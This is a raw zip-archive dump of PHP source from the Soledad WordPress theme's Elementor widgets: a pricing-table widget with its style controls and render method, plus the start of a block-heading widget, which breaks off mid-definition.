use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-pricing-table';
	}

	public function get_widgets() {
		return array( 'PenciPricingTable' );
	}
}
PK     N\zfh  fh  I  inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciPricingTable\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Control_Media;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPricingTable extends Base_Widget {

	public function get_name() {
		return 'penci-pricing-table';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Pricing Table', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-price-table';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'Pricing', 'Table' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'Pricing Table', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'_design_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => esc_html__( 'Style 1', 'soledad' ),
					's2' => esc_html__( 'Style 2', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'_featured_header', array(
				'label'     => esc_html__( 'Featured Header?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'separator' => 'before',
			)
		);

		$this->add_control(
			'_use_img', array(
				'label'     => esc_html__( 'Add image', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);

		$this->add_control(
			'_image',
			array(
				'label'     => __( 'Choose Image', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'condition' => array( '_use_img' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(), array(
				'name'      => 'thumbnail', // Usage: `{name}_size` and `{name}_custom_dimension`, in this case `thumbnail_size` and `thumbnail_custom_dimension`.
				'default'   => 'thumbnail',
				'separator' => 'none',
				'condition' => array( '_use_img' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'image_width', array(
				'label'     => __( 'Image Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 600, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-image' => 'max-width: {{SIZE}}px; width: 100%;' ),
				'condition' => array( '_use_img' => 'yes' ),
			)
		);
		$this->add_responsive_control(
			'image_height', array(
				'label'     => __( 'Image Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-image' => 'height: {{SIZE}}px;' ),
				'condition' => array( '_use_img' => 'yes' ),
			)
		);
		$this->add_responsive_control(
			'image_mar_top', array(
				'label'     => __( 'Image margin top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-image' => 'margin-top: {{SIZE}}px;' ),
				'condition' => array( '_use_img' => 'yes' )
			)
		);
		$this->add_responsive_control(
			'image_mar_bottom', array(
				'label'     => __( 'Image margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-image' => 'margin-bottom: {{SIZE}}px;' ),
				'condition' => array( '_use_img' => 'yes' ),
				'separator' => 'after',
			)
		);

		$this->add_control(
			'_use_icon', array(
				'label'     => esc_html__( 'Add Icon', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);

		$this->add_control(
			'_icon', array(
				'label'     => esc_html__( 'Select Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => array(
					'value'   => 'fas fa-star',
					'library' => 'solid',
				),
				'condition' => array( '_use_icon' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'icon_mar_top', array(
				'label'     => __( 'Icon margin top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-icon' => 'margin-top: {{SIZE}}px;' ),
				'condition' => array( '_use_icon' => 'yes' )
			)
		);

		$this->add_responsive_control(
			'icon_mar_bottom', array(
				'label'     => __( 'Icon margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-icon' => 'margin-bottom: {{SIZE}}px;' ),
				'condition' => array( '_use_icon' => 'yes' ),
				'separator' => 'after',
			)
		);

		$this->add_control(
			'_heading', array(
				'label'   => __( 'Pricing Name / Title', 'soledad' ),
				'default' => __( 'Pricing Plan', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'_subheading', array(
				'label'   => __( 'Pricing  Subtitle', 'soledad' ),
				'default' => __( 'Pricing Short Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'_price', array(
				'label'   => __( 'Pricing', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( '$99', 'soledad' ),
			)
		);

		$this->add_control(
			'_unit', array(
				'label'   => __( 'Pricing Unit', 'soledad' ),
				'default' => __( '/month', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'pricing_oneline', array(
				'label'     => esc_html__( 'Display Pricing & Pricing Unit in One Line?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'content', array(
				'label'   => '',
				'type'    => Controls_Manager::WYSIWYG,
				'dynamic' => array( 'active' => true ),
				'default' => '<ul><li>Example Feature 1</li><li>Example Feature 2</li><li>Example Feature 3</li><li>Example Feature 4</li></ul>',
			)
		);
		$this->add_control(
			'_btn_text', array(
				'label'     => __( 'Button Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'separator' => 'before',
				'default'   => __( 'Sign Up', 'soledad' ),
			)
		);

		$this->add_control(
			'_btn_link',
			array(
				'label'       => __( 'Button Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'separator'   => 'after',
			)
		);

		$this->add_control(
			'_btn_pos', array(
				'label'   => __( 'Button Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'below',
				'options' => array(
					'below' => esc_html__( 'Below Content', 'soledad' ),
					'above' => esc_html__( 'Above Content', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'_featured', array(
				'label'     => esc_html__( 'Make this pricing box as featured', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'separator' => 'before',
			)
		);

		$this->add_control(
			'_featured_style', array(
				'label'     => __( 'Featured Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'hheight',
				'options'   => array(
					'hheight' => esc_html__( 'Highlight Height', 'soledad' ),
					'scale'   => esc_html__( 'Scale Up', 'soledad' ),
				),
				'condition' => array(
					'_featured' => 'yes',
				)
			)
		);

		$this->add_control(
			'add_ribb', array(
				'label'   => __( 'Add Ribbon?', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''         => esc_html__( 'None', 'soledad' ),
					'rib_icon' => esc_html__( 'Ribbon Icon', 'soledad' ),
					'rib_text' => esc_html__( 'Ribbon Text', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'ribb_icon', array(
				'label'     => __( 'Custom Ribbon Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => array(
					'value'   => 'fas fa-star',
					'library' => 'solid',
				),
				'condition' => array( 'add_ribb' => 'rib_icon' )
			)
		);

		$this->add_control(
			'ribb_text', array(
				'label'     => __( 'Custom Ribbon Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => __( 'Best Value', 'soledad' ),
				'condition' => array( 'add_ribb' => 'rib_text' )
			)
		);

		$this->add_control(
			'min_height', array(
				'label'     => __( 'Minimum height for pricing item', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-item' => 'min-height: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();
		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Pricing Table', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'_bg_color', array(
				'label'     => __( 'Background Color for Pricing Table', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-item' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'_pborder_color', array(
				'label'     => __( 'Border Color for Pricing Table', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-item' => 'border-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'_featured_header_bg', array(
				'label'     => __( 'Featured Header Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-fheader .penci-pricing-header' => 'background-color: {{VALUE}};' ),
				'condition' => array( '_featured_header' => 'yes' ),
			)
		);

		$this->add_control(
			'icon_heading_settings',
			array(
				'label'     => __( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => array( '_use_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'_icon_color', array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-icon' => 'color: {{VALUE}};' ),
				'condition' => array( '_use_icon' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'_icon_font_size', array(
				'label'     => __( 'Icon Font Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-icon' => 'font-size: {{SIZE}}px' ),
				'condition' => array( '_use_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'title_heading_settings',
			array(
				'label' => __( 'Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->add_control(
			'_heading_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-title' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => '_heading_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-title',
			)
		);
		$this->add_responsive_control(
			'_heading_mar_bottom', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-title' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		// Sub title
		$this->add_control(
			'subtitle_heading_settings',
			array(
				'label' => __( 'Subtitle', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'_subheading_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-subtitle' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => '_subheading_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-subtitle',
			)
		);
		$this->add_responsive_control(
			'_subheading_mar_bottom', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-subtitle' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		// Price title
		$this->add_control(
			'_price_heading_settings',
			array(
				'label' => __( 'Price', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'_price_color', array(
				'label'     => __( 'Price Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-price' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => '_price_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-price',
			)
		);
		$this->add_responsive_control(
			'_price_mar_bottom', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-price' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		// Price Unit
		$this->add_control(
			'_unit_heading_settings',
			array(
				'label' => __( 'Price Unit', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'_unit_color', array(
				'label'     => __( 'Price Unit Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-unit' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => '_unit_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-unit',
			)
		);
		$this->add_responsive_control(
			'_unit_mar_bottom', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-unit' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		// Features
		$this->add_control(
			'features_heading_settings',
			array(
				'label' => __( 'Features', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'features_color', array(
				'label'     => __( 'Features Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-featured' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'features_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-featured',
			)
		);
		$this->add_responsive_control(
			'features_mar_bottom', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-featured' => 'margin-bottom: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'item_fea_bottom', array(
				'label'     => __( 'Item of list features margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-featured li, .penci-pricing-featured p' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'_ribbon_color', array(
				'label'     => __( 'Ribbon Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing_featured .penci-pricing-ribbon, {{WRAPPER}} .penci-pricing_featured .penci-pricing-ribbon-text' => 'background-color: {{VALUE}};' ),
				'condition' => array(
					'add_ribb' => array( 'rib_text', 'rib_icon' )
				)
			)
		);

		$this->add_control(
			'_ribbon_tcolor', array(
				'label'     => __( 'Ribbon Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing_featured .penci-pricing-ribbon, {{WRAPPER}} .penci-pricing_featured .penci-pricing-ribbon-text' => 'color: {{VALUE}};' ),
				'condition' => array(
					'add_ribb' => array( 'rib_text', 'rib_icon' )
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'      => 'ribbon_typo',
				'label'     => __( 'Ribbon Text Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-pricing_featured .penci-pricing-ribbon-text',
				'condition' => array(
					'add_ribb' => 'rib_text',
				)
			)
		);

		$this->end_controls_section();
		$this->start_controls_section(
			'section_style_button',
			array(
				'label' => __( 'Pricing Table Button', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'button_style', array(
				'label'   => __( 'Button Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'filled',
				'options' => array(
					'filled'   => esc_html__( 'Filled', 'soledad' ),
					'bordered' => esc_html__( 'Bordered', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'psubmitbtn_color',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'psubmitbtn_bgcolor',
			array(
				'label'     => __( 'Button Background & Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn' => 'background-color: {{VALUE}};border-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'psubmitbtn_hcolor',
			array(
				'label'     => __( 'Button Hover Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'psubmitbtn_hbgcolor',
			array(
				'label'     => __( 'Button Background & Border Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn:hover' => 'background-color: {{VALUE}};border-color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'psubmitbtn_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-btn',
			)
		);

		$this->add_responsive_control(
			'button_radius', array(
				'label'      => __( 'Borders Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-pricing-item .penci-pricing-btn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'button_borders_width', array(
				'label'      => __( 'Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-pricing-item .penci-pricing-btn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'btn_mar_top', array(
				'label'     => __( 'Button margin top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'btn_mar_bt', array(
				'label'     => __( 'Button margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'btn_width', array(
				'label'     => __( 'Button width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn' => 'width: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'btn_height', array(
				'label'     => __( 'Button Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-pricing-btn' => 'line-height: {{SIZE}}px; padding-top: 0; padding-bottom: 0;',
				),
			)
		);
		$this->end_controls_section();

	}

	protected function render() {
		$settings = $this->get_settings_for_display();

		$class_block    = 'penci-block-vc penci-pricing-table penci-pricing-item';
		$class_block    .= $settings['_featured'] ? ' penci-pricing_featured' : '';
		$class_block    .= $settings['pricing_oneline'] ? ' penci-pricing-oneline' : '';
		$class_block    .= 'bordered' == $settings['button_style'] ? ' penci-pricing-btn-borders' : '';
		$class_block    .= $settings['_featured_style'] ? ' penci-pricing-f-' . $settings['_featured_style'] : ' penci-pricing-f-hheight';
		$class_block    .= $settings['_btn_pos'] ? ' penci-pricing-btn-' . $settings['_btn_pos'] : ' penci-pricing-btn-below';
		$class_block    .= 'yes' == $settings['_featured_header'] ? ' penci-pricing-fheader' : '';
		$class_block    .= $settings['_design_style'] ? ' penci-pricing-' . esc_attr( $settings['_design_style'] ) : '';
		$_btn_pos       = isset( $settings['_btn_pos'] ) ? $settings['_btn_pos'] : 'below';
		$featured_style = isset( $settings['_featured_style'] ) ? $settings['_featured_style'] : 'hheight';
		$add_ribb       = isset( $settings['add_ribb'] ) ? $settings['add_ribb'] : '';
		$ribb_text      = isset( $settings['ribb_text'] ) ? $settings['ribb_text'] : 'Best Value';
		?>
        <div class="<?php echo esc_attr( $class_block ); ?>">
			<?php
			if ( 'rib_icon' == $add_ribb ) {
				if ( ! empty( $settings['ribb_icon'] ) ) {
					echo '<span class="penci-pricing-ribbon">';
					\Elementor\Icons_Manager::render_icon( $settings['ribb_icon'] );
					echo '</span>';
				} else {
					echo '<span class="penci-pricing-ribbon">' . penci_icon_by_ver( 'fas fa-star' ) . '</span>';
				}
			}
			if ( 'rib_text' == $add_ribb ) {
				echo '<span class="penci-pricing-ribbon-text">' . do_shortcode( $ribb_text ) . '</span>';
			}
			?>
            <div class="penci-block_content penci-pricing-inner">
				<?php
				$button_html = '';
				if ( $settings['_btn_text'] ) {
					$a_before = '<a class="penci-pricing-btn penci-button">';
					$a_after  = '</a>';

					if ( ! empty( $settings['_btn_link']['url'] ) ) {
						$this->add_render_attribute( '_btn_link', 'href', $settings['_btn_link']['url'] );

						if ( $settings['_btn_link']['is_external'] ) {
							$this->add_render_attribute( '_btn_link', 'target', '_blank' );
						}

						if ( $settings['_btn_link']['nofollow'] ) {
							$this->add_render_attribute( '_btn_link', 'rel', 'nofollow' );
						}

						$a_before = '<a class="penci-pricing-btn penci-button" ' . $this->get_render_attribute_string( '_btn_link' ) . '>';
						$a_after  = '</a>';
					}

					$button_html = '<div class="penci-pricing-pbutton">' . $a_before . do_shortcode( $settings['_btn_text'] ) . $a_after . '</div>';
				}

				echo '<div class="penci-pricing-header">';
				if ( ! empty( $settings['_image']['url'] ) && $settings['_use_img'] ) {
					$this->add_render_attribute( 'image', 'src', $settings['_image']['url'] );
					$this->add_render_attribute( 'image', 'alt', Control_Media::get_image_alt( $settings['_image'] ) );
					$this->add_render_attribute( 'image', 'title', Control_Media::get_image_title( $settings['_image'] ) );

					echo '<div class="penci-pricing-image">';
					echo Group_Control_Image_Size::get_attachment_image_html( $settings, 'thumbnail', '_image' );
					echo '</div>';
				}

				if ( ! empty( $settings['_icon'] ) && ( 'yes' == $settings['_use_icon'] ) ) {
					echo '<div class="penci-pricing-icon">';
					\Elementor\Icons_Manager::render_icon( $settings['_icon'] );
					echo '</div>';
				}

				if ( $settings['_heading'] ) {
					echo '<div class="penci-pricing-title">' . do_shortcode( $settings['_heading'] ) . '</div>';
				}

				if ( $settings['_subheading'] ) {
					echo '<div class="penci-pricing-subtitle">' . do_shortcode( $settings['_subheading'] ) . '</div>';
				}

				echo '</div>';

				if ( $settings['_price'] || $settings['_unit'] ) {
					echo '<div class="penci-price-unit">';

					if ( $settings['_price'] ) {
						echo '<span class="penci-pricing-price">' . do_shortcode( $settings['_price'] ) . '</span>';
					}

					if ( $settings['_unit'] ) {
						echo '<span class="penci-pricing-unit">' . do_shortcode( $settings['_unit'] ) . '</span>';
					}

					echo '</div>';
				}

				if ( 'above' == $_btn_pos ) {
					echo $button_html;
				}

				if ( $settings['content'] ) {
					$content = wpautop( preg_replace( '/<\/?p\>/', "\n", $settings['content'] ) . "\n" );
					$content = do_shortcode( shortcode_unautop( $content ) );


					echo '<div class="penci-pricing-featured">' . $content . '</div>';
				}

				if ( 'below' == $_btn_pos ) {
					echo $button_html;
				}
				?>
            </div>
        </div>
		<?php
	}
}
PK     N\3*2  2  :  inc/elementor/modules/penci-block-heading-title/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciBlockHeadingTitle;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-block-heading-title';
	}

	public function get_widgets() {
		return array( 'PenciBlockHeadingTitle' );
	}
}
PK     N\@k4  k4  U  inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciBlockHeadingTitle\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciBlockHeadingTitle extends Base_Widget {

	public function get_name() {
		return 'penci-block-heading';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Block Heading', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-url';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'heading', 'block heading', 'title' );
	}

	protected function register_controls() {

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_extra_link',
			array(
				'label' => __( 'Extra Button Link', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'btn_text',
			array(
				'label'   => __( 'Button Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '',
			)
		);

		$this->add_control(
			'btn_url',
			array(
				'label'       => __( 'Button URL', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
			)
		);

		$this->add_control(
			'btn_style',
			array(
				'label'   => __( 'Button Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'none',
				'options' => array(
					'none'      => esc_html__( 'None', 'soledad' ),
					'underline' => esc_html__( 'Underline', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'btn_pos',
			array(
				'label'   => __( 'Button Position with Title', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'right',
				'options' => array(
					'right' => esc_html__( 'Right', 'soledad' ),
					'left'  => esc_html__( 'Left', 'soledad' ),
				),
			)
		);
		
		$this->add_control(
			'btn_pos_lr',
			array(
				'label'   => __( 'Button Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					'' 		=> esc_html__( 'Default', 'soledad' ),
					'right' => esc_html__( 'Right', 'soledad' ),
					'left'  => esc_html__( 'Left', 'soledad' ),
				),
			)
		);

		$this->add_responsive_control(
			'btn_space',
			array(
				'label'     => __( 'Button Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 300,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .pcbh-btnp-left'  => 'margin-right: {{SIZE}}px;',
					'{{WRAPPER}} .pcbh-btnp-right' => 'margin-left: {{SIZE}}px;',
				),
			)
		);

		$this->add_control(
			'btn_hidemobile',
			array(
				'label' => __( 'Hide Extra Button Link on Mobile', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'btn_addicon',
			array(
				'label' => __( 'Add Icon to Button', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'btn_icon',
			array(
				'label'     => esc_html__( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'condition' => array( 'btn_addicon' => 'yes' ),
			)
		);

		$this->add_control(
			'btn_iconpos',
			array(
				'label'     => esc_html__( 'Icon position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					'right' => esc_html__( 'Right', 'soledad' ),
					'left'  => esc_html__( 'Left', 'soledad' ),
				),
				'default'   => 'right',
				'condition' => array( 'btn_addicon' => 'yes' ),
			)
		);

		$this->end_controls_section();

		// Link Group
		$this->start_controls_section(
			'section_group_links',
			array(
				'label' => __( 'Extra Links Group', 'soledad' ),
